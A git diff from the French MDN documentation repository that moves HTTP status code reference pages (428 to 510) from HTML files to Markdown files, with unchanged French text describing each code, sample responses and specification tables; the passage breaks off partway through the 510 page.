+ + diff --git a/files/fr/web/http/status/428/index.html b/files/fr/web/http/status/428/index.html deleted file mode 100644 index ba81c952ad..0000000000 --- a/files/fr/web/http/status/428/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: 428 Precondition Required -slug: Web/HTTP/Status/428 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/428 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 428 Precondition Required indique que le serveur requiert que la requête soit conditionnelle.

- -

Généralement, cela signifie qu'il manque un en-tête de précondition, comme {{HTTPHeader("If-Match")}}.

- -

Lorsqu'un en-tête de précondition ne correspond pas à l'état du serveur, la réponse doit être {{HTTPStatus(412)}} Precondition Failed.

- -

Statut

- -
428 Precondition Required
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("6585", "428 Precondition Required" , "3")}}Additional HTTP Status Codes
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/428/index.md b/files/fr/web/http/status/428/index.md new file mode 100644 index 0000000000..ba81c952ad --- /dev/null +++ b/files/fr/web/http/status/428/index.md @@ -0,0 +1,44 @@ +--- +title: 428 Precondition Required +slug: Web/HTTP/Status/428 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/428 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 428 Precondition Required indique que le serveur requiert que la requête soit conditionnelle.

+ +

Généralement, cela signifie qu'il manque un en-tête de précondition, comme {{HTTPHeader("If-Match")}}.

+ +

Lorsqu'un en-tête de précondition ne correspond pas à l'état du serveur, la réponse doit être {{HTTPStatus(412)}} Precondition Failed.

+ +

Statut

+ +
428 Precondition Required
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("6585", "428 Precondition Required" , "3")}}Additional HTTP Status Codes
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/429/index.html b/files/fr/web/http/status/429/index.html deleted file mode 100644 index d35937fc29..0000000000 --- a/files/fr/web/http/status/429/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: 429 Too Many Requests -slug: Web/HTTP/Status/429 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/429 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 429 Too Many Requests indique que l'utilisateur a envoyé trop de requêtes en un temps donné.

- -

Un en-tête {{HTTPHeader("Retry-After")}} peut être inclus dans cette réponse afin d'indiquer le temps à attendre pour effectuer une nouvelle requête.

- -

Statut

- -
429 Too Many Requests
- -

Exemple

- -
HTTP/1.1 429 Too Many Requests
-Content-Type: text/html
-Retry-After: 3600
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("6585", "429 Too Many Requests" , "4")}}Additional HTTP Status Codes
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/429/index.md b/files/fr/web/http/status/429/index.md new file mode 100644 index 0000000000..d35937fc29 --- /dev/null +++ b/files/fr/web/http/status/429/index.md @@ -0,0 +1,46 @@ +--- +title: 429 Too Many Requests +slug: Web/HTTP/Status/429 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/429 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 429 Too Many Requests indique que l'utilisateur a envoyé trop de requêtes en un temps donné.

+ +

Un en-tête {{HTTPHeader("Retry-After")}} peut être inclus dans cette réponse afin d'indiquer le temps à attendre pour effectuer une nouvelle requête.

+ +

Statut

+ +
429 Too Many Requests
+ +

Exemple

+ +
HTTP/1.1 429 Too Many Requests
+Content-Type: text/html
+Retry-After: 3600
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("6585", "429 Too Many Requests" , "4")}}Additional HTTP Status Codes
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/431/index.html b/files/fr/web/http/status/431/index.html deleted file mode 100644 index a06361f082..0000000000 --- a/files/fr/web/http/status/431/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 431 Request Header Fields Too Large -slug: Web/HTTP/Status/431 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/431 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 431 Request Header Fields Too Large indique que le serveur n'est pas disposé à traiter la requête, car les champs d'en-têtes sont trop grands. La requête peut être renvoyée une fois que les champs des en-têtes de la requête auront été réduits.

- -

Ce code peut être utilisé lorsque tous les champs sont trop grands ou qu'un seul champ est trop grand. Cette erreur ne devrait pas se produire pour les systèmes en production mais peut être employée lorsqu'on teste un nouveau système pour lequel tous les contrôles n'ont pas encore été mis en place.

- -

Statut

- -
431 Request Header Fields Too Large
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}Additional HTTP Status Codes
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/431/index.md b/files/fr/web/http/status/431/index.md new file mode 100644 index 0000000000..a06361f082 --- /dev/null +++ b/files/fr/web/http/status/431/index.md @@ -0,0 +1,40 @@ +--- +title: 431 Request Header Fields Too Large +slug: Web/HTTP/Status/431 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/431 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 431 Request Header Fields Too Large indique que le serveur n'est pas disposé à traiter la requête, car les champs d'en-têtes sont trop grands. La requête peut être renvoyée une fois que les champs des en-têtes de la requête auront été réduits.

+ +

Ce code peut être utilisé lorsque tous les champs sont trop grands ou qu'un seul champ est trop grand. Cette erreur ne devrait pas se produire pour les systèmes en production mais peut être employée lorsqu'on teste un nouveau système pour lequel tous les contrôles n'ont pas encore été mis en place.

+ +

Statut

+ +
431 Request Header Fields Too Large
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}Additional HTTP Status Codes
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/451/index.html b/files/fr/web/http/status/451/index.html deleted file mode 100644 index a206487e4e..0000000000 --- a/files/fr/web/http/status/451/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 451 Unavailable For Legal Reasons -slug: Web/HTTP/Status/451 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/451 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 451 Unavailable For Legal Reasons indique que l'utilisateur a demandé une ressource qui n'est pas disponible pour des raisons légales (par exemple une page web sous le coup d'une action en justice).

- -

Statut

- -
451 Unavailable For Legal Reasons
- -

Exemple

- -

Cet exemple de réponse est tiré de la RFC IETF (cf. ci-après), et contient une référence à {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python : La Vie de Brian")}}.

- -

Notez que l'en-tête {{HTTPHeader("Link")}} peut aussi contenir une relation  rel="blocked-by" identifiant l'entité responsable de l'indisponibilité de la ressource (par exemple le nom de la personne ou de l'organisation à l'origine de la demande légale ayant entraîné le retrait du contenu).

- -
HTTP/1.1 451 Unavailable For Legal Reasons
-Link: <https://spqr.example.org/legislatione>; rel="blocked-by"
-Content-Type: text/html
-
-<html>
-<head><title>Unavailable For Legal Reasons</title></head>
-<body>
-<h1>Unavailable For Legal Reasons</h1>
-<p>This request may not be serviced in the Roman Province
-of Judea due to the Lex Julia Majestatis, which disallows
-access to resources hosted on servers deemed to be
-operated by the People's Front of Judea.</p>
-</body>
-</html>
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7725", "451 Unavailable For Legal Reasons")}}An HTTP Status Code to Report Legal Obstacles
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "451")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/451/index.md b/files/fr/web/http/status/451/index.md new file mode 100644 index 0000000000..a206487e4e --- /dev/null +++ b/files/fr/web/http/status/451/index.md @@ -0,0 +1,64 @@ +--- +title: 451 Unavailable For Legal Reasons +slug: Web/HTTP/Status/451 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/451 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 451 Unavailable For Legal Reasons indique que l'utilisateur a demandé une ressource qui n'est pas disponible pour des raisons légales (par exemple une page web sous le coup d'une action en justice).

+ +

Statut

+ +
451 Unavailable For Legal Reasons
+ +

Exemple

+ +

Cet exemple de réponse est tiré de la RFC IETF (cf. ci-après), et contient une référence à {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python : La Vie de Brian")}}.

+ +

Notez que l'en-tête {{HTTPHeader("Link")}} peut aussi contenir une relation  rel="blocked-by" identifiant l'entité responsable de l'indisponibilité de la ressource (par exemple le nom de la personne ou de l'organisation à l'origine de la demande légale ayant entraîné le retrait du contenu).

+ +
HTTP/1.1 451 Unavailable For Legal Reasons
+Link: <https://spqr.example.org/legislatione>; rel="blocked-by"
+Content-Type: text/html
+
+<html>
+<head><title>Unavailable For Legal Reasons</title></head>
+<body>
+<h1>Unavailable For Legal Reasons</h1>
+<p>This request may not be serviced in the Roman Province
+of Judea due to the Lex Julia Majestatis, which disallows
+access to resources hosted on servers deemed to be
+operated by the People's Front of Judea.</p>
+</body>
+</html>
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7725", "451 Unavailable For Legal Reasons")}}An HTTP Status Code to Report Legal Obstacles
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "451")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/500/index.html b/files/fr/web/http/status/500/index.html deleted file mode 100644 index 659e2ff40f..0000000000 --- a/files/fr/web/http/status/500/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 500 Internal Server Error -slug: Web/HTTP/Status/500 -tags: - - Code de statut - - Erreur serveur - - HTTP -translation_of: Web/HTTP/Status/500 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HyperText Transfer Protocol (HTTP) d'erreur serveur 500 Internal Server Error indique que le serveur a rencontré un problème inattendu qui l'empêche de répondre à la requête.

- -

Cette réponse d'erreur est une réponse générique « fourre-tout ». Souvent, les administrateurs des serveurs enregistreront les erreurs qui entraînent un code 500 avec d'autres informations à propos de la requête afin d'empêcher que l'erreur ne se reproduise à nouveau.

- -

Statut

- -
500 Internal Server Error
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

L'information ci-dessous provient du dépôt GitHub de MDN (https://github.com/mdn/browser-compat-data).

- -

{{Compat("http/status", "500")}}

diff --git a/files/fr/web/http/status/500/index.md b/files/fr/web/http/status/500/index.md new file mode 100644 index 0000000000..659e2ff40f --- /dev/null +++ b/files/fr/web/http/status/500/index.md @@ -0,0 +1,39 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +tags: + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/500 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HyperText Transfer Protocol (HTTP) d'erreur serveur 500 Internal Server Error indique que le serveur a rencontré un problème inattendu qui l'empêche de répondre à la requête.

+ +

Cette réponse d'erreur est une réponse générique « fourre-tout ». Souvent, les administrateurs des serveurs enregistreront les erreurs qui entraînent un code 500 avec d'autres informations à propos de la requête afin d'empêcher que l'erreur ne se reproduise à nouveau.

+ +

Statut

+ +
500 Internal Server Error
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

L'information ci-dessous provient du dépôt GitHub de MDN (https://github.com/mdn/browser-compat-data).

+ +

{{Compat("http/status", "500")}}

diff --git a/files/fr/web/http/status/501/index.html b/files/fr/web/http/status/501/index.html deleted file mode 100644 index 6ed8382bd4..0000000000 --- a/files/fr/web/http/status/501/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 501 Not Implemented -slug: Web/HTTP/Status/501 -tags: - - Code de statut - - Erreur serveur - - HTTP - - Reference -translation_of: Web/HTTP/Status/501 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP d'erreur serveur 501 Not Implemented indique que la méthode de la requête n'est pas prise en charge par le serveur et qu'elle ne peut donc pas être prise en compte. Les serveurs doivent nécessairement prendre en charge les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}} (pour lesquelles ils ne doivent donc pas renvoyer ce code).

- -

Une erreur 501 ne peut pas être corrigée via le client (c'est-à-dire le navigateur dans la plupart des cas). Il est nécessaire que cela soit corrigé sur le serveur web.

- -
-

Note : Par défaut, une réponse 501 peut être mise en cache.

-
- -

Statut

- -
501 Not Implemented
- -

Spécifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "501 Not Implemented" , "6.6.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "501")}}

diff --git a/files/fr/web/http/status/501/index.md b/files/fr/web/http/status/501/index.md new file mode 100644 index 0000000000..6ed8382bd4 --- /dev/null +++ b/files/fr/web/http/status/501/index.md @@ -0,0 +1,42 @@ +--- +title: 501 Not Implemented +slug: Web/HTTP/Status/501 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Reference +translation_of: Web/HTTP/Status/501 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP d'erreur serveur 501 Not Implemented indique que la méthode de la requête n'est pas prise en charge par le serveur et qu'elle ne peut donc pas être prise en compte. Les serveurs doivent nécessairement prendre en charge les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}} (pour lesquelles ils ne doivent donc pas renvoyer ce code).

+ +

Une erreur 501 ne peut pas être corrigée via le client (c'est-à-dire le navigateur dans la plupart des cas). Il est nécessaire que cela soit corrigé sur le serveur web.

+ +
+

Note : Par défaut, une réponse 501 peut être mise en cache.

+
+ +

Statut

+ +
501 Not Implemented
+ +

Spécifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "501 Not Implemented" , "6.6.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "501")}}

diff --git a/files/fr/web/http/status/502/index.html b/files/fr/web/http/status/502/index.html deleted file mode 100644 index 931b6c20d5..0000000000 --- a/files/fr/web/http/status/502/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 502 Bad Gateway -slug: Web/HTTP/Status/502 -tags: - - Code de statut - - HTTP - - Server error -translation_of: Web/HTTP/Status/502 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP d'erreur serveur 502 Bad Gateway indique que le serveur, agissant comme une passerelle ou un proxy, a reçu une réponse invalide depuis le serveur en amont.

- -

Une {{interwiki("wikipedia", "Passerelle_(informatique)", "passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 502 est habituellement quelque chose que vous ne pouvez pas corriger, mais qui nécessite une correction sur le serveur web ou le proxy par lequel vous passez pour y accéder.

- -

Statut

- -
502 Bad Gateway
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "502")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/502/index.md b/files/fr/web/http/status/502/index.md new file mode 100644 index 0000000000..931b6c20d5 --- /dev/null +++ b/files/fr/web/http/status/502/index.md @@ -0,0 +1,43 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +tags: + - Code de statut + - HTTP + - Server error +translation_of: Web/HTTP/Status/502 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP d'erreur serveur 502 Bad Gateway indique que le serveur, agissant comme une passerelle ou un proxy, a reçu une réponse invalide depuis le serveur en amont.

+ +

Une {{interwiki("wikipedia", "Passerelle_(informatique)", "passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 502 est habituellement quelque chose que vous ne pouvez pas corriger, mais qui nécessite une correction sur le serveur web ou le proxy par lequel vous passez pour y accéder.

+ +

Statut

+ +
502 Bad Gateway
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "502")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/503/index.html b/files/fr/web/http/status/503/index.html deleted file mode 100644 index 11535dcc5e..0000000000 --- a/files/fr/web/http/status/503/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 503 Service Unavailable -slug: Web/HTTP/Status/503 -tags: - - Code de statut - - Erreur serveur - - HTTP -translation_of: Web/HTTP/Status/503 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP d'erreur serveur 503 Service Unavailable indique que le serveur n'est pas prêt à traiter la requête.

- -

Généralement, cela se produit car le serveur est éteint ou inaccessible pour cause de maintenance ou de surcharge. Notez qu'avec cette erreur, il est préférable d'envoyer une page compréhensible pour l'utilisateur qui explique le problème. Cette réponse doit être utilisée pour indiquer un état temporaire et l'en-tête HTTP {{HTTPHeader("Retry-After")}} doit, si possible, indiquer le temps estimé avant la reprise du service.

- -

Les en-têtes relatifs au cache qui sont envoyés avec cette réponse doivent être pris en compte car un code de statut 503 indique un état temporaire et cette réponse ne doit généralement pas être mise en cache.

- -

Statut

- -
503 Service Unavailable
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "503")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/503/index.md b/files/fr/web/http/status/503/index.md new file mode 100644 index 0000000000..11535dcc5e --- /dev/null +++ b/files/fr/web/http/status/503/index.md @@ -0,0 +1,45 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +tags: + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/503 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP d'erreur serveur 503 Service Unavailable indique que le serveur n'est pas prêt à traiter la requête.

+ +

Généralement, cela se produit car le serveur est éteint ou inaccessible pour cause de maintenance ou de surcharge. Notez qu'avec cette erreur, il est préférable d'envoyer une page compréhensible pour l'utilisateur qui explique le problème. Cette réponse doit être utilisée pour indiquer un état temporaire et l'en-tête HTTP {{HTTPHeader("Retry-After")}} doit, si possible, indiquer le temps estimé avant la reprise du service.

+ +

Les en-têtes relatifs au cache qui sont envoyés avec cette réponse doivent être pris en compte car un code de statut 503 indique un état temporaire et cette réponse ne doit généralement pas être mise en cache.

+ +

Statut

+ +
503 Service Unavailable
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "503")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/504/index.html b/files/fr/web/http/status/504/index.html deleted file mode 100644 index ab7d9e7761..0000000000 --- a/files/fr/web/http/status/504/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: 504 Gateway Timeout -slug: Web/HTTP/Status/504 -tags: - - Code de statut - - Erreur serveur - - HTTP - - Reference -translation_of: Web/HTTP/Status/504 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP d'erreur serveur 504 Gateway Timeout indique que le serveur, agissant comme passerelle ou proxy, ne peut pas recevoir de réponse dans les temps.

- -

Une {{interwiki("wikipedia", "Passerelle_(informatique)", "Passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 504 est habituellement quelque chose que vous ne pouvez pas corriger mais qui nécessite une correction sur le serveur web ou sur le proxy par lequel vous passez pour y accéder.

- -

Statut

- -
504 Gateway Timeout
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "504")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/504/index.md b/files/fr/web/http/status/504/index.md new file mode 100644 index 0000000000..ab7d9e7761 --- /dev/null +++ b/files/fr/web/http/status/504/index.md @@ -0,0 +1,44 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Reference +translation_of: Web/HTTP/Status/504 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP d'erreur serveur 504 Gateway Timeout indique que le serveur, agissant comme passerelle ou proxy, ne peut pas recevoir de réponse dans les temps.

+ +

Une {{interwiki("wikipedia", "Passerelle_(informatique)", "Passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 504 est habituellement quelque chose que vous ne pouvez pas corriger mais qui nécessite une correction sur le serveur web ou sur le proxy par lequel vous passez pour y accéder.

+ +

Statut

+ +
504 Gateway Timeout
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "504")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/505/index.html b/files/fr/web/http/status/505/index.html deleted file mode 100644 index 826a31eb82..0000000000 --- a/files/fr/web/http/status/505/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: 505 HTTP Version Not Supported -slug: Web/HTTP/Status/505 -tags: - - Code de statut - - Erreur serveur - - HTTP - - Reference -translation_of: Web/HTTP/Status/505 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP d'erreur serveur 505 HTTP Version Not Supported indique que la version du protocole HTTP utilisée dans la requête n'est pas prise en charge par le serveur.

- -

Statut

- -
505 HTTP Version Not Supported
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/505/index.md b/files/fr/web/http/status/505/index.md new file mode 100644 index 0000000000..826a31eb82 --- /dev/null +++ b/files/fr/web/http/status/505/index.md @@ -0,0 +1,38 @@ +--- +title: 505 HTTP Version Not Supported +slug: Web/HTTP/Status/505 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Reference +translation_of: Web/HTTP/Status/505 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP d'erreur serveur 505 HTTP Version Not Supported indique que la version du protocole HTTP utilisée dans la requête n'est pas prise en charge par le serveur.

+ +

Statut

+ +
505 HTTP Version Not Supported
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/506/index.html b/files/fr/web/http/status/506/index.html deleted file mode 100644 index 431d3dae17..0000000000 --- a/files/fr/web/http/status/506/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: 506 Variant Also Negotiates -slug: Web/HTTP/Status/506 -tags: - - Erreur serveur - - HTTP - - Statut de réponse -translation_of: Web/HTTP/Status/506 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP 506 Variant Also Negotiates peut être donné dans le contexte du protocol Transparent Content Negotiation (voir RFC 2295). Ce protocol active un client pour recevoir la meilleure variante d'une ressource donnée, où le serveur supporte de multiples variantes.

- -

Le statut Variant Also Negotiates indique une erreur de configuration interne du serveur dans laquelle la variante choisie est elle-même configurée pour s'engager dans la négociation de contenu, et n'est donc pas un point final de négociation approprié.

- -

Status

- -
506 Variant Also Negotiates
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationTitle
{{RFC("2295", "506 Variant Also Negotiates" , "8.1")}}Transparent Content Negotiation in HTTP
diff --git a/files/fr/web/http/status/506/index.md b/files/fr/web/http/status/506/index.md new file mode 100644 index 0000000000..431d3dae17 --- /dev/null +++ b/files/fr/web/http/status/506/index.md @@ -0,0 +1,35 @@ +--- +title: 506 Variant Also Negotiates +slug: Web/HTTP/Status/506 +tags: + - Erreur serveur + - HTTP + - Statut de réponse +translation_of: Web/HTTP/Status/506 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP 506 Variant Also Negotiates peut être donné dans le contexte du protocol Transparent Content Negotiation (voir RFC 2295). Ce protocol active un client pour recevoir la meilleure variante d'une ressource donnée, où le serveur supporte de multiples variantes.

+ +

Le statut Variant Also Negotiates indique une erreur de configuration interne du serveur dans laquelle la variante choisie est elle-même configurée pour s'engager dans la négociation de contenu, et n'est donc pas un point final de négociation approprié.

+ +

Status

+ +
506 Variant Also Negotiates
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("2295", "506 Variant Also Negotiates" , "8.1")}}Transparent Content Negotiation in HTTP
diff --git a/files/fr/web/http/status/507/index.html b/files/fr/web/http/status/507/index.html deleted file mode 100644 index 35f2b1ebda..0000000000 --- a/files/fr/web/http/status/507/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: 507 Insufficient Storage -slug: Web/HTTP/Status/507 -tags: - - Code de statut - - Erreur serveur - - HTTP -translation_of: Web/HTTP/Status/507 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP 507 Insufficient Storage peut être donné dans le contexte du protocol Web Distributed Authoring and Versioning(WebDAV) (voir RFC 4918).

- -

Il indique que la méthode ne peut pas être traité car le serveur ne peut pas stocker la représentation nécessaire pour accomplir la requête avec succès.

- -

Status

- -
507 Insufficient Storage
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationTitle
{{RFC("4918", "507 Insufficient Storage" , "11.5")}}Web Distributed Authoring and Versioning
diff --git a/files/fr/web/http/status/507/index.md b/files/fr/web/http/status/507/index.md new file mode 100644 index 0000000000..35f2b1ebda --- /dev/null +++ b/files/fr/web/http/status/507/index.md @@ -0,0 +1,35 @@ +--- +title: 507 Insufficient Storage +slug: Web/HTTP/Status/507 +tags: + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/507 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP 507 Insufficient Storage peut être donné dans le contexte du protocol Web Distributed Authoring and Versioning(WebDAV) (voir RFC 4918).

+ +

Il indique que la méthode ne peut pas être traité car le serveur ne peut pas stocker la représentation nécessaire pour accomplir la requête avec succès.

+ +

Status

+ +
507 Insufficient Storage
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("4918", "507 Insufficient Storage" , "11.5")}}Web Distributed Authoring and Versioning
diff --git a/files/fr/web/http/status/508/index.html b/files/fr/web/http/status/508/index.html deleted file mode 100644 index 181ba09d36..0000000000 --- a/files/fr/web/http/status/508/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 508 Loop Detected -slug: Web/HTTP/Status/508 -tags: - - '508' - - Code de statut - - Erreur serveur - - HTTP -translation_of: Web/HTTP/Status/508 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP 508 Loop Detected peut être donné dans le contexte du protocol Web Distributed Authoring and Versioning (WebDAV).

- -

Il indique que le serveur termine une opération car il rencontre une boucle infinie pendant le traitement de la requête avec "Depth: infinity". Ce statut indique que l'entièreté de l'opération a échouée.

- -

Statut

- -
508 Loop Detected
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("5842", "508 Loop Detected" , "7.2")}}Web Distributed Authoring and Versioning
diff --git a/files/fr/web/http/status/508/index.md b/files/fr/web/http/status/508/index.md new file mode 100644 index 0000000000..181ba09d36 --- /dev/null +++ b/files/fr/web/http/status/508/index.md @@ -0,0 +1,36 @@ +--- +title: 508 Loop Detected +slug: Web/HTTP/Status/508 +tags: + - '508' + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/508 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP 508 Loop Detected peut être donné dans le contexte du protocol Web Distributed Authoring and Versioning (WebDAV).

+ +

Il indique que le serveur termine une opération car il rencontre une boucle infinie pendant le traitement de la requête avec "Depth: infinity". Ce statut indique que l'entièreté de l'opération a échouée.

+ +

Statut

+ +
508 Loop Detected
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("5842", "508 Loop Detected" , "7.2")}}Web Distributed Authoring and Versioning
diff --git a/files/fr/web/http/status/510/index.html b/files/fr/web/http/status/510/index.html deleted file mode 100644 index cd2810ad85..0000000000 --- a/files/fr/web/http/status/510/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: 510 Not Extended -slug: Web/HTTP/Status/510 -tags: - - Code de statut - - Erreur serveur - - HTTP - - Server error - - Status code -translation_of: Web/HTTP/Status/510 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 510 Not Extended est envoyé dans le contexte de "l'HTTP Extension Framework", defini dans le RFC 2774.

- -

